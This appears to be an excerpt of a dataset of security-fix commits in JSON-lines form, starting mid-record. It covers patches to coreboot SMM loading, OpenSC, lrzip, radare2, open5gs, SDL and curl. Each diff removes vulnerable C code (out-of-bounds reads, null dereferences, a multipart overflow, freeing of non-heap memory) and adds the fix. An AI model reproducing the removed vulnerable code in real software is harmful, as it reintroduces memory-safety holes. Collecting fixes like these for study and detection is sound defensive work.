SMM_DEFAULT_SIZE)\n+\t\treturn -1;\n+\n+\t/* Load main SMI handler at the top of SMRAM\n+\t * everything else will go below\n+\t */\n+\tbase = smram;\n+\tbase += size;\n+\tparams->smram_start = (uintptr_t)smram;\n+\tparams->smram_end = params->smram_start + size;\n+\tparams->smm_main_entry_offset = SMM_ENTRY_OFFSET;\n+\n+\t/* Fail if can't parse the smm rmodule. */\n+\tif (rmodule_parse(&_binary_smm_start, &smm_mod))\n+\t\treturn -1;\n+\n+\t/* Clear SMM region */\n+\tif (CONFIG(DEBUG_SMI))\n+\t\tmemset(smram, 0xcd, size);\n+\n+\ttotal_stack_size = params->per_cpu_stack_size *\n+\t\t\t params->num_concurrent_stacks;\n+\ttotal_size += total_stack_size;\n+\t/* Stacks are the base of SMRAM */\n+\tparams->stack_top = smram + total_stack_size;\n+\n+\t/* MSEG starts at the top of SMRAM and works down */\n+\tif (CONFIG(STM)) {\n+\t\tbase -= CONFIG_MSEG_SIZE + CONFIG_BIOS_RESOURCE_LIST_SIZE;\n+\t\ttotal_size += CONFIG_MSEG_SIZE + CONFIG_BIOS_RESOURCE_LIST_SIZE;\n+\t}\n+\n+\t/* FXSAVE goes below MSEG */\n+\tif (CONFIG(SSE)) {\n+\t\tfxsave_size = FXSAVE_SIZE * params->num_concurrent_stacks;\n+\t\tfxsave_area = base - fxsave_size;\n+\t\tbase -= fxsave_size;\n+\t\ttotal_size += fxsave_size;\n+\t} else {\n+\t\tfxsave_size = 0;\n+\t\tfxsave_area = NULL;\n+\t}\n+\n+\n+\thandler_size = rmodule_memory_size(&smm_mod);\n+\tbase -= handler_size;\n+\ttotal_size += handler_size;\n+\tmodule_alignment = rmodule_load_alignment(&smm_mod);\n+\talignment_size = module_alignment -\n+\t\t\t\t((uintptr_t)base % module_alignment);\n+\tif (alignment_size != module_alignment) {\n+\t\thandler_size += alignment_size;\n+\t\tbase += alignment_size;\n+\t}\n+\n+\tprintk(BIOS_DEBUG,\n+\t\t\"%s: total_smm_space_needed %zx, available -> %zx\\n\",\n+\t\t __func__, total_size, size);\n+\n+\t/* Does the required amount of memory exceed the SMRAM region size? */\n+\tif (total_size > size) {\n+\t\tprintk(BIOS_ERR, \"%s: need more SMRAM\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\tif (handler_size > SMM_CODE_SEGMENT_SIZE) {\n+\t\tprintk(BIOS_ERR, \"%s: increase SMM_CODE_SEGMENT_SIZE: handler_size = %zx\\n\",\n+\t\t\t__func__, handler_size);\n+\t\treturn -1;\n+\t}\n+\n+\tif (rmodule_load(base, &smm_mod))\n+\t\treturn -1;\n+\n+\tparams->handler = rmodule_entry(&smm_mod);\n+\tparams->handler_arg = rmodule_parameters(&smm_mod);\n+\n+\tprintk(BIOS_DEBUG, \"%s: smram_start: 0x%p\\n\",\n+\t\t __func__, smram);\n+\tprintk(BIOS_DEBUG, \"%s: smram_end: %p\\n\",\n+\t\t __func__, smram + size);\n+\tprintk(BIOS_DEBUG, \"%s: stack_top: %p\\n\",\n+\t\t __func__, params->stack_top);\n+\tprintk(BIOS_DEBUG, \"%s: handler start %p\\n\",\n+\t\t __func__, params->handler);\n+\tprintk(BIOS_DEBUG, \"%s: handler_size %zx\\n\",\n+\t\t __func__, handler_size);\n+\tprintk(BIOS_DEBUG, \"%s: handler_arg %p\\n\",\n+\t\t __func__, params->handler_arg);\n+\tprintk(BIOS_DEBUG, \"%s: fxsave_area %p\\n\",\n+\t\t __func__, fxsave_area);\n+\tprintk(BIOS_DEBUG, \"%s: fxsave_size %zx\\n\",\n+\t\t __func__, fxsave_size);\n+\tprintk(BIOS_DEBUG, \"%s: CONFIG_MSEG_SIZE 0x%x\\n\",\n+\t\t __func__, CONFIG_MSEG_SIZE);\n+\tprintk(BIOS_DEBUG, \"%s: CONFIG_BIOS_RESOURCE_LIST_SIZE 0x%x\\n\",\n+\t\t __func__, CONFIG_BIOS_RESOURCE_LIST_SIZE);\n+\n+\t/* CPU 0 smbase goes first, all other CPUs\n+\t * will be staggered below\n+\t */\n+\tbase -= SMM_CODE_SEGMENT_SIZE;\n+\tprintk(BIOS_DEBUG, \"%s: cpu0 entry: %p\\n\",\n+\t\t __func__, base);\n+\tparams->smm_entry = (uintptr_t)base + params->smm_main_entry_offset;\n+\treturn smm_module_setup_stub(base, size, params, fxsave_area);\n+}", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-idprime.c", "commit_id": "f015746d22d249642c19674298a18ad824db0ed7", "commit_message": "idprime: Use temporary variable instead of messing up the passed one\n\nThanks oss-fuzz\n\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=28185", "patch": "@@ -418,6 +418,7 @@ static int idprime_get_token_name(sc_card_t* card, char** tname)\n \tsc_path_t tinfo_path = {\"\\x00\\x00\", 2, 0, 0, SC_PATH_TYPE_PATH, {\"\", 0}};\n \tsc_file_t *file = NULL;\n \tu8 buf[2];\n+\tchar *name;\n \tint r;\n \n \tLOG_FUNC_CALLED(card->ctx);\n@@ -445,20 +446,22 @@ static int idprime_get_token_name(sc_card_t* card, char** tname)\n \t}\n \tsc_file_free(file);\n \n-\t*tname = malloc(buf[1]);\n-\tif (*tname == NULL) {\n+\tname = malloc(buf[1]);\n+\tif (name == NULL) {\n \t\tLOG_FUNC_RETURN(card->ctx, SC_ERROR_OUT_OF_MEMORY);\n \t}\n \n-\tr = iso_ops->read_binary(card, 2, (unsigned char *)*tname, buf[1], 0);\n+\tr = iso_ops->read_binary(card, 2, (unsigned char *)name, buf[1], 0);\n \tif (r < 1) {\n-\t\tfree(*tname);\n+\t\tfree(name);\n \t\tLOG_FUNC_RETURN(card->ctx, r);\n \t}\n \n-\tif ((*tname)[r-1] != '\\0') {\n-\t\t(*tname)[r-1] = '\\0';\n+\tif (name[r-1] != '\\0') {\n+\t\tname[r-1] = '\\0';\n \t}\n+\t*tname = name;\n+\n \tLOG_FUNC_RETURN(card->ctx, SC_SUCCESS);\n }\n ", "sections": [{"section": "@@ -418,6 +418,7 @@ static int idprime_get_token_name(sc_card_t* card, char** tname)\n \tsc_path_t tinfo_path = {\"\\x00\\x00\", 2, 0, 0, SC_PATH_TYPE_PATH, {\"\", 0}};\n \tsc_file_t *file = NULL;\n \tu8 buf[2];\n+\tchar *name;\n \tint r;\n \n \tLOG_FUNC_CALLED(card->ctx);\n", "related": false}, {"section": "@@ -445,20 +446,22 @@ static int idprime_get_token_name(sc_card_t* card, char** tname)\n \t}\n \tsc_file_free(file);\n \n-\t*tname = malloc(buf[1]);\n-\tif (*tname == NULL) {\n+\tname = malloc(buf[1]);\n+\tif (name == NULL) {\n \t\tLOG_FUNC_RETURN(card->ctx, SC_ERROR_OUT_OF_MEMORY);\n \t}\n \n-\tr = iso_ops->read_binary(card, 2, (unsigned char *)*tname, buf[1], 0);\n+\tr = iso_ops->read_binary(card, 2, (unsigned char *)name, buf[1], 0);\n \tif (r < 1) {\n-\t\tfree(*tname);\n+\t\tfree(name);\n \t\tLOG_FUNC_RETURN(card->ctx, r);\n \t}\n \n-\tif ((*tname)[r-1] != '\\0') {\n-\t\t(*tname)[r-1] = '\\0';\n+\tif (name[r-1] != '\\0') {\n+\t\tname[r-1] = '\\0';\n \t}\n+\t*tname = name;\n+\n \tLOG_FUNC_RETURN(card->ctx, SC_SUCCESS);\n }\n ", "related": false}]} +{"owner": "ckolivas", "repo": "lrzip", "language": "C", "file_name": "main.c", "commit_id": "5faf80cd53ecfd16b636d653483144cd12004f46", "commit_message": "Fix control->suffix being deallocated as heap memory as reported by Pietro Borrello.", "patch": "@@ -458,7 +458,8 @@ int main(int argc, char *argv[])\n \t\t\tif (unlikely(STDOUT))\n \t\t\t\tfailure(\"Cannot specify an output filename when outputting to stdout\\n\");\n \t\t\tcontrol->outname = optarg;\n-\t\t\tcontrol->suffix = \"\";\n+\t\t\tdealloc(control->suffix);\n+\t\t\tcontrol->suffix = strdup(\"\");\n \t\t\tbreak;\n \t\tcase 'O':\n \t\t\tif (control->outname)\t/* can't mix -o and -O */\n@@ -493,7 +494,8 @@ int main(int argc, char *argv[])\n \t\t\t\tfailure(\"Specified output filename already, can't specify an extension.\\n\");\n \t\t\tif (unlikely(STDOUT))\n \t\t\t\tfailure(\"Cannot specify a filename suffix when outputting to stdout\\n\");\n-\t\t\tcontrol->suffix = optarg;\n+\t\t\tdealloc(control->suffix);\n+\t\t\tcontrol->suffix = strdup(optarg);\n \t\t\tbreak;\n \t\tcase 't':\n \t\t\tif (control->outname)", "sections": [{"section": "@@ -458,7 +458,8 @@ int main(int argc, char *argv[])\n \t\t\tif (unlikely(STDOUT))\n \t\t\t\tfailure(\"Cannot specify an output filename when outputting to stdout\\n\");\n \t\t\tcontrol->outname = optarg;\n-\t\t\tcontrol->suffix = \"\";\n+\t\t\tdealloc(control->suffix);\n+\t\t\tcontrol->suffix = strdup(\"\");\n \t\t\tbreak;\n \t\tcase 'O':\n \t\t\tif (control->outname)\t/* can't mix -o and -O */\n", "related": false}, {"section": "@@ -493,7 +494,8 @@ int main(int argc, char *argv[])\n \t\t\t\tfailure(\"Specified output filename already, can't specify an extension.\\n\");\n \t\t\tif (unlikely(STDOUT))\n \t\t\t\tfailure(\"Cannot specify a filename suffix when outputting to stdout\\n\");\n-\t\t\tcontrol->suffix = optarg;\n+\t\t\tdealloc(control->suffix);\n+\t\t\tcontrol->suffix = strdup(optarg);\n \t\t\tbreak;\n \t\tcase 't':\n \t\t\tif (control->outname)", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/format/ne/ne.c", "commit_id": "18d1d064bf599a255d55f09fca3104776fc34a67", "commit_message": "Fix null deref in the ne parser ##crash\n\n* Reported by @hmsec via huntr.dev\n* Reproducer: nepoc00\n* BountyID: bfeb8fb8-644d-4587-80d4-cb704c404013", "patch": "@@ -115,7 +115,7 @@ RList *r_bin_ne_get_symbols(r_bin_ne_obj_t *bin) {\n \t}\n \tRList *entries = r_bin_ne_get_entrypoints (bin);\n \tbool resident = true, first = true;\n-\twhile (true) {\n+\twhile (entries) {\n \t\tut8 sz = r_buf_read8_at (bin->buf, off);\n \t\tif (!sz) {\n \t\t\tfirst = true;\n@@ -352,6 +352,9 @@ RList *r_bin_ne_get_imports(r_bin_ne_obj_t *bin) {\n }\n \n RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n+\tif (!bin->entry_table) {\n+\t\treturn NULL;\n+\t}\n \tRList *entries = r_list_newf (free);\n \tif (!entries) {\n \t\treturn NULL;", "sections": [{"section": "@@ -115,7 +115,7 @@ RList *r_bin_ne_get_symbols(r_bin_ne_obj_t *bin) {\n \t}\n \tRList *entries = r_bin_ne_get_entrypoints (bin);\n \tbool resident = true, first = true;\n-\twhile (true) {\n+\twhile (entries) {\n \t\tut8 sz = r_buf_read8_at (bin->buf, off);\n \t\tif (!sz) {\n \t\t\tfirst = true;\n", "related": false}, {"section": "@@ -352,6 +352,9 @@ RList *r_bin_ne_get_imports(r_bin_ne_obj_t *bin) {\n }\n \n RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n+\tif (!bin->entry_table) {\n+\t\treturn NULL;\n+\t}\n \tRList *entries = r_list_newf (free);\n \tif (!entries) {\n \t\treturn NULL;", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/format/ne/ne.c", "commit_id": "c40a4f9862104ede15d0ba05ccbf805923070778", "commit_message": "Fix another oobread segfault in the NE bin parser ##crash\n\n* Reported by @han0nly via huntr.dev\n* Reproducers: sample1 sample2 sample3\n* BountyID: 47422cdf-aad2-4405-a6a1-6f63a3a93200", "patch": "@@ -374,6 +374,9 @@ RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n \t}\n \tint off = 0;\n \twhile (off < bin->ne_header->EntryTableLength) {\n+\t\tif (bin->entry_table + off + 32 >= r_buf_size (bin->buf)) {\n+\t\t\tbreak;\n+\t\t}\n \t\tut8 bundle_length = *(ut8 *)(bin->entry_table + off);\n \t\tif (!bundle_length) {\n \t\t\tbreak;\n@@ -398,7 +401,9 @@ RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n \t\t\t\tut8 segnum = *(bin->entry_table + off);\n \t\t\t\toff++;\n \t\t\t\tut16 segoff = *(ut16 *)(bin->entry_table + off);\n-\t\t\t\tentry->paddr = (ut64)bin->segment_entries[segnum - 1].offset * bin->alignment + segoff;\n+\t\t\t\tif (segnum > 0) {\n+\t\t\t\t\tentry->paddr = (ut64)bin->segment_entries[segnum - 1].offset * bin->alignment + segoff;\n+\t\t\t\t}\n \t\t\t} else { // Fixed\n \t\t\t\tentry->paddr = (ut64)bin->segment_entries[bundle_type - 1].offset * bin->alignment + *(ut16 *)(bin->entry_table + off);\n \t\t\t}", "sections": [{"section": "@@ -374,6 +374,9 @@ RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n \t}\n \tint off = 0;\n \twhile (off < bin->ne_header->EntryTableLength) {\n+\t\tif (bin->entry_table + off + 32 >= r_buf_size (bin->buf)) {\n+\t\t\tbreak;\n+\t\t}\n \t\tut8 bundle_length = *(ut8 *)(bin->entry_table + off);\n \t\tif (!bundle_length) {\n \t\t\tbreak;\n", "related": false}, {"section": "@@ -398,7 +401,9 @@ RList *r_bin_ne_get_entrypoints(r_bin_ne_obj_t *bin) {\n \t\t\t\tut8 segnum = *(bin->entry_table + off);\n \t\t\t\toff++;\n \t\t\t\tut16 segoff = *(ut16 *)(bin->entry_table + off);\n-\t\t\t\tentry->paddr = (ut64)bin->segment_entries[segnum - 1].offset * bin->alignment + segoff;\n+\t\t\t\tif (segnum > 0) {\n+\t\t\t\t\tentry->paddr = (ut64)bin->segment_entries[segnum - 1].offset * bin->alignment + segoff;\n+\t\t\t\t}\n \t\t\t} else { // Fixed\n \t\t\t\tentry->paddr = (ut64)bin->segment_entries[bundle_type - 1].offset * bin->alignment + *(ut16 *)(bin->entry_table + off);\n \t\t\t}", "related": false}]} +{"owner": "open5gs", "repo": "open5gs", "language": "C", "file_name": "lib/sbi/message.c", "commit_id": "d919b2744cd05abae043490f0a3dd1946c1ccb8c", "commit_message": "[AMF] fix the memory problem (#1247)\n\n1. memory corruption\n- Overflow num_of_part in SBI message\n2. null pointer dereference\n- n2InfoContent->ngap_ie_type", "patch": "@@ -924,7 +924,7 @@ static int parse_json(ogs_sbi_message_t *message,\n ogs_log_print(OGS_LOG_TRACE, \"%s\", json);\n item = cJSON_Parse(json);\n if (!item) {\n- ogs_error(\"JSON parse error\");\n+ ogs_error(\"JSON parse error [%s]\", json);\n return OGS_ERROR;\n }\n \n@@ -1833,18 +1833,16 @@ static int on_header_value(\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- if (at && length) {\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART && at && length) {\n SWITCH(data->header_field)\n CASE(OGS_SBI_CONTENT_TYPE)\n- if (data->part[data->num_of_part].content_type)\n- ogs_free(data->part[data->num_of_part].content_type);\n+ ogs_assert(data->part[data->num_of_part].content_type == NULL);\n data->part[data->num_of_part].content_type =\n ogs_strndup(at, length);\n ogs_assert(data->part[data->num_of_part].content_type);\n break;\n CASE(OGS_SBI_CONTENT_ID)\n- if (data->part[data->num_of_part].content_id)\n- ogs_free(data->part[data->num_of_part].content_id);\n+ ogs_assert(data->part[data->num_of_part].content_id == NULL);\n data->part[data->num_of_part].content_id =\n ogs_strndup(at, length);\n ogs_assert(data->part[data->num_of_part].content_id);\n@@ -1867,7 +1865,7 @@ static int on_part_data(\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- if (at && length) {\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART && at && length) {\n SWITCH(data->part[data->num_of_part].content_type)\n CASE(OGS_SBI_CONTENT_JSON_TYPE)\n CASE(OGS_SBI_CONTENT_5GNAS_TYPE)\n@@ -1901,9 +1899,9 @@ static int on_part_data(\n break;\n \n DEFAULT\n- ogs_log_hexdump(OGS_LOG_FATAL, (unsigned char *)at, length);\n ogs_error(\"Unknown content_type [%s]\",\n data->part[data->num_of_part].content_type);\n+ ogs_log_hexdump(OGS_LOG_ERROR, (unsigned char *)at, length);\n END\n }\n return 0;\n@@ -1917,7 +1915,9 @@ static int on_part_data_end(multipart_parser *parser)\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- data->num_of_part++;\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART) {\n+ data->num_of_part++;\n+ }\n \n return 0;\n }\n@@ -1967,6 +1967,11 @@ static int parse_multipart(\n multipart_parser_free(parser);\n ogs_free(boundary);\n \n+ if (data.num_of_part > OGS_SBI_MAX_NUM_OF_PART) {\n+ /* Overflow Issues #1247 */\n+ ogs_fatal(\"Overflow num_of_part[%d]\", data.num_of_part);\n+ ogs_assert_if_reached();\n+ }\n for (i = 0; i < data.num_of_part; i++) {\n SWITCH(data.part[i].content_type)\n CASE(OGS_SBI_CONTENT_JSON_TYPE)\n@@ -2013,14 +2018,14 @@ static int parse_multipart(\n \n DEFAULT\n ogs_error(\"Unknown content-type[%s]\", data.part[i].content_type);\n+\n+ if (data.part[i].content_id)\n+ ogs_free(data.part[i].content_id);\n+ if (data.part[i].content_type)\n+ ogs_free(data.part[i].content_type);\n END\n }\n \n- if (data.part[i].content_id)\n- ogs_free(data.part[i].content_id);\n- if (data.part[i].content_type)\n- ogs_free(data.part[i].content_type);\n-\n if (data.header_field)\n ogs_free(data.header_field);\n ", "sections": [{"section": "@@ -924,7 +924,7 @@ static int parse_json(ogs_sbi_message_t *message,\n ogs_log_print(OGS_LOG_TRACE, \"%s\", json);\n item = cJSON_Parse(json);\n if (!item) {\n- ogs_error(\"JSON parse error\");\n+ ogs_error(\"JSON parse error [%s]\", json);\n return OGS_ERROR;\n }\n \n", "related": false}, {"section": "@@ -1833,18 +1833,16 @@ static int on_header_value(\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- if (at && length) {\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART && at && length) {\n SWITCH(data->header_field)\n CASE(OGS_SBI_CONTENT_TYPE)\n- if (data->part[data->num_of_part].content_type)\n- ogs_free(data->part[data->num_of_part].content_type);\n+ ogs_assert(data->part[data->num_of_part].content_type == NULL);\n data->part[data->num_of_part].content_type =\n ogs_strndup(at, length);\n ogs_assert(data->part[data->num_of_part].content_type);\n break;\n CASE(OGS_SBI_CONTENT_ID)\n- if (data->part[data->num_of_part].content_id)\n- ogs_free(data->part[data->num_of_part].content_id);\n+ ogs_assert(data->part[data->num_of_part].content_id == NULL);\n data->part[data->num_of_part].content_id =\n ogs_strndup(at, length);\n ogs_assert(data->part[data->num_of_part].content_id);\n", "related": false}, {"section": "@@ -1867,7 +1865,7 @@ static int on_part_data(\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- if (at && length) {\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART && at && length) {\n SWITCH(data->part[data->num_of_part].content_type)\n CASE(OGS_SBI_CONTENT_JSON_TYPE)\n CASE(OGS_SBI_CONTENT_5GNAS_TYPE)\n", "related": false}, {"section": "@@ -1901,9 +1899,9 @@ static int on_part_data(\n break;\n \n DEFAULT\n- ogs_log_hexdump(OGS_LOG_FATAL, (unsigned char *)at, length);\n ogs_error(\"Unknown content_type [%s]\",\n data->part[data->num_of_part].content_type);\n+ ogs_log_hexdump(OGS_LOG_ERROR, (unsigned char *)at, length);\n END\n }\n return 0;\n", "related": false}, {"section": "@@ -1917,7 +1915,9 @@ static int on_part_data_end(multipart_parser *parser)\n data = multipart_parser_get_data(parser);\n ogs_assert(data);\n \n- data->num_of_part++;\n+ if (data->num_of_part < OGS_SBI_MAX_NUM_OF_PART) {\n+ data->num_of_part++;\n+ }\n \n return 0;\n }\n", "related": false}, {"section": "@@ -1967,6 +1967,11 @@ static int parse_multipart(\n multipart_parser_free(parser);\n ogs_free(boundary);\n \n+ if (data.num_of_part > OGS_SBI_MAX_NUM_OF_PART) {\n+ /* Overflow Issues #1247 */\n+ ogs_fatal(\"Overflow num_of_part[%d]\", data.num_of_part);\n+ ogs_assert_if_reached();\n+ }\n for (i = 0; i < data.num_of_part; i++) {\n SWITCH(data.part[i].content_type)\n CASE(OGS_SBI_CONTENT_JSON_TYPE)\n", "related": false}, {"section": "@@ -2013,14 +2018,14 @@ static int parse_multipart(\n \n DEFAULT\n ogs_error(\"Unknown content-type[%s]\", data.part[i].content_type);\n+\n+ if (data.part[i].content_id)\n+ ogs_free(data.part[i].content_id);\n+ if (data.part[i].content_type)\n+ ogs_free(data.part[i].content_type);\n END\n }\n \n- if (data.part[i].content_id)\n- ogs_free(data.part[i].content_id);\n- if (data.part[i].content_type)\n- ogs_free(data.part[i].content_type);\n-\n if (data.header_field)\n ogs_free(data.header_field);\n ", "related": false}]} +{"owner": "libsdl-org", "repo": "sdl", "language": "C", "file_name": "src/video/SDL_pixels.c", "commit_id": "8c91cf7dba5193f5ce12d06db1336515851c9ee9", "commit_message": "Always create a full 256-entry map in case color values are out of range\n\nFixes https://github.com/libsdl-org/SDL/issues/5042", "patch": "@@ -947,7 +947,7 @@ Map1to1(SDL_Palette * src, SDL_Palette * dst, int *identical)\n }\n *identical = 0;\n }\n- map = (Uint8 *) SDL_malloc(src->ncolors);\n+ map = (Uint8 *) SDL_calloc(256, sizeof(Uint8));\n if (map == NULL) {\n SDL_OutOfMemory();\n return (NULL);\n@@ -971,7 +971,7 @@ Map1toN(SDL_PixelFormat * src, Uint8 Rmod, Uint8 Gmod, Uint8 Bmod, Uint8 Amod,\n SDL_Palette *pal = src->palette;\n \n bpp = ((dst->BytesPerPixel == 3) ? 4 : dst->BytesPerPixel);\n- map = (Uint8 *) SDL_malloc(pal->ncolors * bpp);\n+ map = (Uint8 *) SDL_calloc(256, bpp);\n if (map == NULL) {\n SDL_OutOfMemory();\n return (NULL);", "sections": [{"section": "@@ -947,7 +947,7 @@ Map1to1(SDL_Palette * src, SDL_Palette * dst, int *identical)\n }\n *identical = 0;\n }\n- map = (Uint8 *) SDL_malloc(src->ncolors);\n+ map = (Uint8 *) SDL_calloc(256, sizeof(Uint8));\n if (map == NULL) {\n SDL_OutOfMemory();\n return (NULL);\n", "related": false}, {"section": "@@ -971,7 +971,7 @@ Map1toN(SDL_PixelFormat * src, Uint8 Rmod, Uint8 Gmod, Uint8 Bmod, Uint8 Amod,\n SDL_Palette *pal = src->palette;\n \n bpp = ((dst->BytesPerPixel == 3) ? 4 : dst->BytesPerPixel);\n- map = (Uint8 *) SDL_malloc(pal->ncolors * bpp);\n+ map = (Uint8 *) SDL_calloc(256, bpp);\n if (map == NULL) {\n SDL_OutOfMemory();\n return (NULL);", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/strcase.h", "commit_id": "852aa5ad351ea53e5f01d2f44b5b4370c2bf5425", "commit_message": "url: check sasl additional parameters for connection reuse.\n\nAlso move static function safecmp() as non-static Curl_safecmp() since\nits purpose is needed at several places.\n\nBug: https://curl.se/docs/CVE-2022-22576.html\n\nCVE-2022-22576\n\nCloses #8746", "patch": "@@ -49,4 +49,6 @@ char Curl_raw_toupper(char in);\n void Curl_strntoupper(char *dest, const char *src, size_t n);\n void Curl_strntolower(char *dest, const char *src, size_t n);\n \n+bool Curl_safecmp(char *a, char *b);\n+\n #endif /* HEADER_CURL_STRCASE_H */", "sections": [{"section": "@@ -49,4 +49,6 @@ char Curl_raw_toupper(char in);\n void Curl_strntoupper(char *dest, const char *src, size_t n);\n void Curl_strntolower(char *dest, const char *src, size_t n);\n \n+bool Curl_safecmp(char *a, char *b);\n+\n #endif /* HEADER_CURL_STRCASE_H */", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/anal/vtable.c", "commit_id": "919e3ac1a13f753c73e7a8e8d8bb4a143218732d", "commit_message": "Fix crash in vtable analysis on UB ##crash\n\n* Reported by @greatergoodest via huntrdev\n* BountyID 0730a95e-c485-4ff2-9a5d-bb3abfda0b17\n* Reproducer: minified_crash", "patch": "@@ -58,6 +58,8 @@ R_API bool r_anal_vtable_begin(RAnal *anal, RVTableContext *context) {\n \t\tcontext->read_addr = be? vtable_read_addr_be64 : vtable_read_addr_le64;\n \t\tbreak;\n \tdefault:\n+\t\t// cant be null. assume 32bit \"->read_addr = NULL;\n+\t\tcontext->read_addr = be? vtable_read_addr_be32 : vtable_read_addr_le32;\n \t\treturn false;\n \t}\n \treturn true;\n@@ -72,7 +74,7 @@ static bool vtable_addr_in_text_section(RVTableContext *context, ut64 curAddress\n \n static bool vtable_is_value_in_text_section(RVTableContext *context, ut64 curAddress, ut64 *value) {\n \t//value at the current address\n-\tut64 curAddressValue;\n+\tut64 curAddressValue = UT64_MAX;\n \tif (!context->read_addr (context->anal, curAddress, &curAddressValue)) {\n \t\treturn false;\n \t}\n@@ -132,6 +134,7 @@ static bool vtable_is_addr_vtable_start_itanium(RVTableContext *context, RBinSec\n }\n \n static bool vtable_is_addr_vtable_start_msvc(RVTableContext *context, ut64 curAddress) {\n+\tut8 buf[VTABLE_BUFF_SIZE];\n \tRAnalRef *xref;\n \tRListIter *xrefIter;\n \n@@ -150,19 +153,14 @@ static bool vtable_is_addr_vtable_start_msvc(RVTableContext *context, ut64 curAd\n \tr_list_foreach (xrefs, xrefIter, xref) {\n \t\t// section in which currenct xref lies\n \t\tif (vtable_addr_in_text_section (context, xref->addr)) {\n-\t\t\tut8 buf[VTABLE_BUFF_SIZE];\n-\t\t\tcontext->anal->iob.read_at (context->anal->iob.io, xref->addr, buf, sizeof(buf));\n-\n+\t\t\tcontext->anal->iob.read_at (context->anal->iob.io, xref->addr, buf, sizeof (buf));\n \t\t\tRAnalOp analop = {0};\n-\t\t\tr_anal_op (context->anal, &analop, xref->addr, buf, sizeof(buf), R_ANAL_OP_MASK_BASIC);\n-\n-\t\t\tif (analop.type == R_ANAL_OP_TYPE_MOV\n-\t\t\t\t|| analop.type == R_ANAL_OP_TYPE_LEA) {\n+\t\t\tr_anal_op (context->anal, &analop, xref->addr, buf, sizeof (buf), R_ANAL_OP_MASK_BASIC);\n+\t\t\tif (analop.type == R_ANAL_OP_TYPE_MOV || analop.type == R_ANAL_OP_TYPE_LEA) {\n \t\t\t\tr_list_free (xrefs);\n \t\t\t\tr_anal_op_fini (&analop);\n \t\t\t\treturn true;\n \t\t\t}\n-\n \t\t\tr_anal_op_fini (&analop);\n \t\t}\n \t}\n@@ -286,7 +284,7 @@ R_API RList *r_anal_vtable_search(RVTableContext *context) {\n }\n \n R_API void r_anal_list_vtables(RAnal *anal, int rad) {\n-\tRVTableContext context;\n+\tRVTableContext context = {0};\n \tr_anal_vtable_begin (anal, &context);\n \n \tconst char *noMethodName = \"No Name found\";", "sections": [{"section": "@@ -58,6 +58,8 @@ R_API bool r_anal_vtable_begin(RAnal *anal, RVTableContext *context) {\n \t\tcontext->read_addr = be? vtable_read_addr_be64 : vtable_read_addr_le64;\n \t\tbreak;\n \tdefault:\n+\t\t// cant be null. assume 32bit \"->read_addr = NULL;\n+\t\tcontext->read_addr = be? vtable_read_addr_be32 : vtable_read_addr_le32;\n \t\treturn false;\n \t}\n \treturn true;\n", "related": false}, {"section": "@@ -72,7 +74,7 @@ static bool vtable_addr_in_text_section(RVTableContext *context, ut64 curAddress\n \n static bool vtable_is_value_in_text_section(RVTableContext *context, ut64 curAddress, ut64 *value) {\n \t//value at the current address\n-\tut64 curAddressValue;\n+\tut64 curAddressValue = UT64_MAX;\n \tif (!context->read_addr (context->anal, curAddress, &curAddressValue)) {\n \t\treturn false;\n \t}\n", "related": false}, {"section": "@@ -132,6 +134,7 @@ static bool vtable_is_addr_vtable_start_itanium(RVTableContext *context, RBinSec\n }\n \n static bool vtable_is_addr_vtable_start_msvc(RVTableContext *context, ut64 curAddress) {\n+\tut8 buf[VTABLE_BUFF_SIZE];\n \tRAnalRef *xref;\n \tRListIter *xrefIter;\n \n", "related": false}, {"section": "@@ -150,19 +153,14 @@ static bool vtable_is_addr_vtable_start_msvc(RVTableContext *context, ut64 curAd\n \tr_list_foreach (xrefs, xrefIter, xref) {\n \t\t// section in which currenct xref lies\n \t\tif (vtable_addr_in_text_section (context, xref->addr)) {\n-\t\t\tut8 buf[VTABLE_BUFF_SIZE];\n-\t\t\tcontext->anal->iob.read_at (context->anal->iob.io, xref->addr, buf, sizeof(buf));\n-\n+\t\t\tcontext->anal->iob.read_at (context->anal->iob.io, xref->addr, buf, sizeof (buf));\n \t\t\tRAnalOp analop = {0};\n-\t\t\tr_anal_op (context->anal, &analop, xref->addr, buf, sizeof(buf), R_ANAL_OP_MASK_BASIC);\n-\n-\t\t\tif (analop.type == R_ANAL_OP_TYPE_MOV\n-\t\t\t\t|| analop.type == R_ANAL_OP_TYPE_LEA) {\n+\t\t\tr_anal_op (context->anal, &analop, xref->addr, buf, sizeof (buf), R_ANAL_OP_MASK_BASIC);\n+\t\t\tif (analop.type == R_ANAL_OP_TYPE_MOV || analop.type == R_ANAL_OP_TYPE_LEA) {\n \t\t\t\tr_list_free (xrefs);\n \t\t\t\tr_anal_op_fini (&analop);\n \t\t\t\treturn true;\n \t\t\t}\n-\n \t\t\tr_anal_op_fini (&analop);\n \t\t}\n \t}\n", "related": false}, {"section": "@@ -286,7 +284,7 @@ R_API RList *r_anal_vtable_search(RVTableContext *context) {\n }\n \n R_API void r_anal_list_vtables(RAnal *anal, int rad) {\n-\tRVTableContext context;\n+\tRVTableContext context = {0};\n \tr_anal_vtable_begin (anal, &context);\n \n \tconst char *noMethodName = \"No Name found\";", 